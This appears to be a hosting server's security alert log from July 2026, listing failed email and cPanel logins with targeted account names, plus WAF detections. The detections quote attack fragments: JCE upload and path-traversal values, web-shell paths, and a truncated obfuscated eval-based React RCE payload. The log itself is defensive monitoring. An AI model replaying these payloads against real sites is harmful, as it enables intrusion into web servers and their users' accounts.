2026-07-10 06:42:13 dovecot_login authenticator failed for H=146.47.246.220.static.netvigator.com (dsl-hkibng42-50dfc8-184.dhcp.inet.fi) [220.246.47.146]:64173: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-07-10 06:42:44 dovecot_login authenticator failed for H=(193.210.177.45.fronteirainternet.com.br) [200.106.49.149]:44190: 535 Incorrect authentication data (set_id=sunil)


plugin: modsec
rule: 77469916
abuser: 191.101.208.23
country_id: 3017382
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:galexbot-aq53r2i7.xml.php||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.106
country_id: 1269750
description:
2026-07-10 06:43:54 dovecot_login authenticator failed for H=(broadband-95-84-137-185.ip.moscow.rt.ru) [182.95.228.106]:35464: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://locksmith-talking-rock-ga-commercial-locksmith.zzz-1.com/\">web site</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.157.252.162
country_id: 2260494
description:
2026-07-10 06:51:21 dovecot_login authenticator failed for H=([222.246.240.162]) [197.157.252.162]:34178: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.155.179
country_id: 1733045
description:
2026-07-10 06:51:00 dovecot_login authenticator failed for H=([222.101.131.150]) [49.124.155.179]:51718: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.128.181.196
country_id: 357994
description:
2026-07-10 06:52:19 dovecot_login authenticator failed for H=([210.105.93.99]) [41.128.181.196]:52524: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.86.88.24
country_id: 2802361
description:
2026-07-10 06:56:39 dovecot_login authenticator failed for H=([115.144.242.18]) [91.86.88.24]:55864: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.110.237.114
country_id: 1269750
description:
2026-07-10 06:57:00 dovecot_login authenticator failed for H=([183.171.154.8]) [103.110.237.114]:11348: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.87.142.137
country_id: 1269750
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://delhi.delhihotelsqueen.com/call-girl-in-jodhpur.html\">call girl in Jodhpur</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77789665
abuser: 152.42.225.238
country_id: 1880251
domain: www.metrodigitals.com
description:
IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:data[layoutName]||MV:../../../../shxt||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.23.3.146
country_id: 1835841
description:
2026-07-10 07:07:46 dovecot_login authenticator failed for H=([49.124.148.5]) [59.23.3.146]:54954: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.233.29.157
country_id: 3865483
description:
2026-07-10 07:14:26 dovecot_login authenticator failed for H=([174.64.199.85]) [170.233.29.157]:35473: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.63
country_id: 1668284
description:
2026-07-10 07:14:42 dovecot_login authenticator failed for H=(47-145-62-32.fdr01.sncy.ca.ip.frontiernet.net) [101.13.5.63]:45000: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.116.66
country_id: 1269750
description:
2026-07-10 07:18:21 dovecot_login authenticator failed for H=([213.55.79.199]) [182.95.116.66]:48816: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.148.184.47
country_id: 1835841
description:
2026-07-10 07:32:34 dovecot_login authenticator failed for H=([101.13.5.39]) [121.148.184.47]:51091: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 182.6.160.40
country_id: 1643084
domain: www.alnayza.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:125950||Sizes:1315||Combined size:1315||User:alnay||WPU:||Filename:hi_5hz47857.php||Scanned:/tmp//20260710-073243-alBSw8KruZcHq1fs9gk9mgAAAEA-file-XLCkQ9||SC:/home/alnay/public_html/index.php||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.97.186
country_id: 1835841
description:
2026-07-10 07:33:17 dovecot_login authenticator failed for H=([27.24.141.122]) [211.228.97.186]:39016: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 132.148.164.18
country_id: 6252001
description:
[2026-07-10 07:35:16 +0530] info [whostmgrd] 132.148.164.18 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.91.153.26
country_id: 3077311
description:
2026-07-10 07:36:39 dovecot_login authenticator failed for H=u153-26.static.grape.cz ([68.71.240.212]) [93.91.153.26]:52800: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.10.203.54
country_id: 2661886
description:
2026-07-10 07:36:20 dovecot_login authenticator failed for H=h-176-10-203-54.a463.priv.bahnhof.se (67-43-243-158.fidnet.com) [176.10.203.54]:46384: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-07-10 07:39:53 dovecot_login authenticator failed for H=([111.26.62.36]) [171.244.60.35]:40752: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.122.114.193
country_id: 798549
description:
2026-07-10 07:44:40 dovecot_login authenticator failed for H=(freshtools.fi) [85.122.114.193]:58370: 535 Incorrect authentication data (set_id=david.white@stcinemas.co)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.145.160.134
country_id: 1269750
description:
2026-07-10 07:48:29 dovecot_login authenticator failed for H=(111-70-23-238.emome-ip.hinet.net) [59.145.160.134]:49002: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.56.228.149
country_id: 6252001
description:
2026-07-10 07:50:57 dovecot_login authenticator failed for H=ool-6038e495.static.optonline.net ([174.75.211.204]) [96.56.228.149]:40458: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.110.176.222
country_id: 1694008
description:
2026-07-10 07:51:37 dovecot_login authenticator failed for H=(net-85-173-96-230.kbrnet.ru) [27.110.176.222]:38297: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.224.193.215
country_id: 1562822
description:
2026-07-10 07:51:49 dovecot_login authenticator failed for H=(217-211-208-125-no2550.tbcn.telia.com) [14.224.193.215]:45904: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.152.82.108
country_id: 2264397
description:
2026-07-10 07:52:53 dovecot_login authenticator failed for H=a89-152-82-108.cpe.netcabo.pt ([119.192.249.195]) [89.152.82.108]:48420: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77093094
abuser: 136.113.9.105
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"_2da4b429\":false,\"__e80023ad\":\"79d0\",\"status\":\"resolved_model\",\"_response\":{\"_prefix\":\"var gxirc=arguments['\\\\x31'];var my=gxirc;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.167.19.102
country_id: 6252001
domain: www.apkmetal.in
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.apkmetal.in/ HTTP/1.1||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.62.73.218
country_id: 1835841
description:
2026-07-10 07:59:40 dovecot_login authenticator failed for H=([183.171.147.227]) [211.62.73.218]:45402: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.250
country_id: 1036973
description:
2026-07-10 07:59:54 dovecot_login authenticator failed for H=(nsg-corporate-201.0.185.122.airtel.in) [197.219.228.250]:45594: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.251.42.6
country_id: 6252001
description:
[2026-07-10 08:01:55 +0530] info [whostmgrd] 47.251.42.6 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.126.215.120
country_id: 1835841
description:
2026-07-10 08:02:20 dovecot_login authenticator failed for H=(abts-north-static-238.45.176.122.airtelbroadband.in) [220.126.215.120]:46186: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.154.84.193
country_id: 2287781
description:
2026-07-10 08:02:28 dovecot_login authenticator failed for H=([197.219.228.246]) [160.154.84.193]:21862: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 141.255.164.66
country_id: 2658434
domain: alnayza.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/inpsywkc/fonts/kbubecbk.PHP||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.35.209.208
country_id: 1835841
description:
2026-07-10 08:02:38 dovecot_login authenticator failed for H=([1.246.216.144]) [14.35.209.208]:48054: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 141.255.164.66
country_id: 2658434
domain: alnayza.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/vuovyjrd/fonts/gbwngtrk.PHP||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: ns2.ddgalaxy.in
description:


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 2401:4900:8fdd:a8f0:94b9:ef78:9888:ffb5
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.27||T:APACHE||MVN:ARGS:jform[defaultvalue][f_text_attribute_class]||MV: inputbox visCSSinput ||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.1.66.154
country_id: 1694008
description:
2026-07-10 08:06:43 dovecot_login authenticator failed for H=(187-40-215-162.user.vtal.net.br) [210.1.66.154]:64034: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.19.91
country_id: 1269750
description:
2026-07-10 08:06:52 dovecot_login authenticator failed for H=([61.84.228.191]) [117.250.19.91]:45552: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.31.200.85
country_id: 1522867
description:
2026-07-10 08:07:51 dovecot_login authenticator failed for H=([218.149.228.137]) [193.31.200.85]:60556: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.12.212.38
country_id: 1835841
description:
2026-07-10 08:08:09 dovecot_login authenticator failed for H=([112.164.234.246]) [59.12.212.38]:45602: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.105.160.100
country_id: 6252001
description:
2026-07-10 08:15:35 dovecot_login authenticator failed for H=syn-024-105-160-100.biz.spectrum.com ([192.111.135.19]) [24.105.160.100]:48792: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.8.97
country_id: 1835841
description:
2026-07-10 08:21:40 dovecot_login authenticator failed for H=([220.77.214.59]) [218.156.8.97]:54120: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.141.202
country_id: 99237
description:
2026-07-10 08:21:20 dovecot_login authenticator failed for H=([192.111.137.33]) [65.20.141.202]:34579: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 51.79.180.235
country_id: 1880251
domain: jaashsupplies.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/sagsooz/fonts/refs/heads/main/font.css||User:jaashsupplies||SC:/home/jaashsupplies/public_html/index.php||WPU:||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.204.74
country_id: 1269750
description:
2026-07-10 08:24:22 dovecot_login authenticator failed for H=([36.249.60.142]) [125.23.204.74]:38478: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.185.89.74
country_id: 1835841
description:
2026-07-10 08:24:05 dovecot_login authenticator failed for H=([49.124.145.57]) [121.185.89.74]:38104: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.148.184.47
country_id: 1835841
description:
2026-07-10 08:24:54 dovecot_login authenticator failed for H=(83-208-70-70.rcc.o2.cz) [121.148.184.47]:44149: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 216.24.212.188
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:08-26.216.24.212.188||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.147.253
country_id: 1733045
description:
2026-07-10 08:27:11 dovecot_login authenticator failed for H=([207.254.28.5]) [49.124.147.253]:50322: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.72.9.151
country_id: 1269750
description:
2026-07-10 08:27:39 dovecot_login authenticator failed for H=([61.145.181.7]) [116.72.9.151]:46028: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.115.211.6
country_id: 2635167
description:
2026-07-10 08:26:57 dovecot_login authenticator failed for H=6.211.115.87.dyn.plus.net ([31.173.21.229]) [87.115.211.6]:42746: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.200.184
country_id: 660013
description:
2026-07-10 08:30:52 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc8-184.dhcp.inet.fi ([49.124.149.48]) [80.223.200.184]:39764: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.101.222.22
country_id: 1210997
description:
2026-07-10 08:31:25 dovecot_login authenticator failed for H=(ipmapt-72-195-101-102.oc.oc.cox.net) [165.101.222.22]:39648: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.118.40.63
country_id: 2328926
description:
2026-07-10 08:35:52 dovecot_plain authenticator failed for H=(localhost) [105.118.40.63]:32508: 535 Incorrect authentication data (set_id=dins@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.109.138
country_id: 1269750
description:
2026-07-10 08:35:52 dovecot_login authenticator failed for H=([98.181.137.75]) [182.95.109.138]:55220: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.10.203.54
country_id: 2661886
description:
2026-07-10 08:35:28 dovecot_login authenticator failed for H=h-176-10-203-54.a463.priv.bahnhof.se (221-120-78-177.emome-ip.hinet.net) [176.10.203.54]:50986: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.177.88.42
country_id: 3624060
description:
2026-07-10 08:35:38 dovecot_login authenticator failed for H=([211.175.71.57]) [186.177.88.42]:40194: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.44.206
country_id: 1269750
description:
2026-07-10 08:36:06 dovecot_login authenticator failed for H=(nsg-static-089.77.71.182.airtel.in) [122.185.44.206]:38565: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-10 08:39:12 dovecot_login authenticator failed for H=([49.124.151.15]) [210.5.117.238]:64979: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.217.40.11
country_id: 6252001
description:
2026-07-10 08:39:41 dovecot_login authenticator failed for H=([103.168.241.32]) [50.217.40.11]:60058: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 163.223.244.3
country_id: 1269750
description:
2026-07-10 08:40:20 dovecot_login authenticator failed for H=([203.172.213.166]) [163.223.244.3]:55224: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.176.160.146
country_id: 1269750
description:
2026-07-10 08:40:31 dovecot_login authenticator failed for H=(m121-202-206-119.smartone.com) [103.176.160.146]:51480: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.184.155.242
country_id: 1269750
description:
2026-07-10 08:40:46 dovecot_login authenticator failed for H=([67.201.38.131]) [103.184.155.242]:59815: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
2026-07-10 08:41:01 dovecot_login authenticator failed for H=([68.71.253.70]) [125.130.102.172]:47741: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.32.248.238
country_id: 2921044
domain: yukticlick.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142114r77142193||MV:08-42.193.32.248.238||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 163.223.244.3
country_id: 1269750
description:
2026-07-10 08:43:08 dovecot_login authenticator failed for H=([72.207.33.65]) [163.223.244.3]:41406: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.138.3
country_id: 99237
description:
2026-07-10 08:43:36 dovecot_login authenticator failed for H=([49.124.153.2]) [65.20.138.3]:59521: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.163.174
country_id: 2186224
description:
2026-07-10 08:43:37 dovecot_login authenticator failed for H=([197.251.204.41]) [121.73.163.174]:49522: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.164.239.190
country_id: 1835841
description:
2026-07-10 08:43:49 dovecot_login authenticator failed for H=(27-124-111-122.static.as58511.net) [112.164.239.190]:57427: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.109.138
country_id: 1269750
description:
2026-07-10 08:42:54 dovecot_login authenticator failed for H=([104.37.135.150]) [182.95.109.138]:55550: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.135.208.32
country_id: 1861060
description:
2026-07-10 08:43:54 dovecot_login authenticator failed for H=([117.216.33.31]) [212.135.208.32]:37603: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 150.251.229.109
country_id: 3175395
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.cnbc.com/2025/04/17/a-longevity-investors-daily-routine-for-a-long-healthy-life.html\">sergey young investor s</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.12.212.38
country_id: 1835841
description:
2026-07-10 08:47:19 dovecot_login authenticator failed for H=(ip-68-71-242-113.hosts.zerolag.com) [59.12.212.38]:43340: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.20.113
country_id: 99237
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/our-clients HTTP/1.1||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.23.3.146
country_id: 1835841
description:
2026-07-10 08:50:06 dovecot_login authenticator failed for H=([112.161.42.97]) [59.23.3.146]:57650: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.126.215.120
country_id: 1835841
description:
2026-07-10 08:52:55 dovecot_login authenticator failed for H=([124.239.169.52]) [220.126.215.120]:52392: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77469916
abuser: 152.53.193.182
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:s633093.xml.php||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.233
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.symbaloo.com/mix/paperiounblocked2?lang=GB\">paper.io</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 78.138.14.34
country_id: 1831722
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://https\">judi</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.46.58.104
country_id: 1835841
description:
2026-07-10 09:04:21 dovecot_login authenticator failed for H=([131.189.214.140]) [14.46.58.104]:36410: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.24.209.174
country_id: 102358
description:
2026-07-10 09:04:59 dovecot_login authenticator failed for H=([24.249.199.9]) [144.24.209.174]:58357: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.189.66
country_id: 1269750
description:
2026-07-10 09:07:00 dovecot_login authenticator failed for H=([49.124.148.185]) [182.95.189.66]:42794: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.194
country_id: 1269750
description:
2026-07-10 09:09:57 dovecot_login authenticator failed for H=(azteca-comunicaciones.com) [182.95.228.194]:34234: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.44.246
country_id: 2661886
description:
2026-07-10 09:10:45 dovecot_login authenticator failed for H=78-66-44-246-no2550.tbcn.telia.com ([60.174.35.18]) [78.66.44.246]:43444: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.233
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.symbaloo.com/mix/iogamesunblocked\">Basket Bros</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 144.79.184.9
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/wp-content/uploads/2013/03/Jamo-D-600-HCS-2-7.1.jpg HTTP/1.1||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.181.5.124
country_id: 1269750
description:
2026-07-10 09:16:12 dovecot_login authenticator failed for H=([58.168.227.16]) [103.181.5.124]:52986: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.250.2
country_id: 1269750
description:
2026-07-10 09:16:30 dovecot_login authenticator failed for H=([196.188.187.85]) [117.250.250.2]:51028: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.166
country_id: 1269750
description:
2026-07-10 09:19:31 dovecot_login authenticator failed for H=(kd113158205225.ppp-bb.dion.ne.jp) [182.95.181.166]:57582: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.187.86
country_id: 1269750
description:
2026-07-10 09:19:17 dovecot_login authenticator failed for H=([196.0.113.110]) [182.95.187.86]:60930: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.49.144
country_id: 1733045
description:
2026-07-10 09:25:48 dovecot_login authenticator failed for H=([217.24.238.120]) [183.171.49.144]:51570: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 36.83.135.145
country_id: 1643084
domain: yukticlick.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:22655.yukticlick.com||ServerName:yukticlick.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:186f1bf715c89a83885e970fa5bb13e0a75804fe||Title:0xa9fc7756||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.207.93
country_id: 1269750
description:
2026-07-10 09:25:15 dovecot_login authenticator failed for H=([58.239.80.86]) [122.169.207.93]:6199: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.91.135.181
country_id: 6252001
description:
2026-07-10 09:25:31 dovecot_login authenticator failed for H=(ool-457e901e.dyn.optonline.net) [70.91.135.181]:44983: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.37.52
country_id: 798544
description:
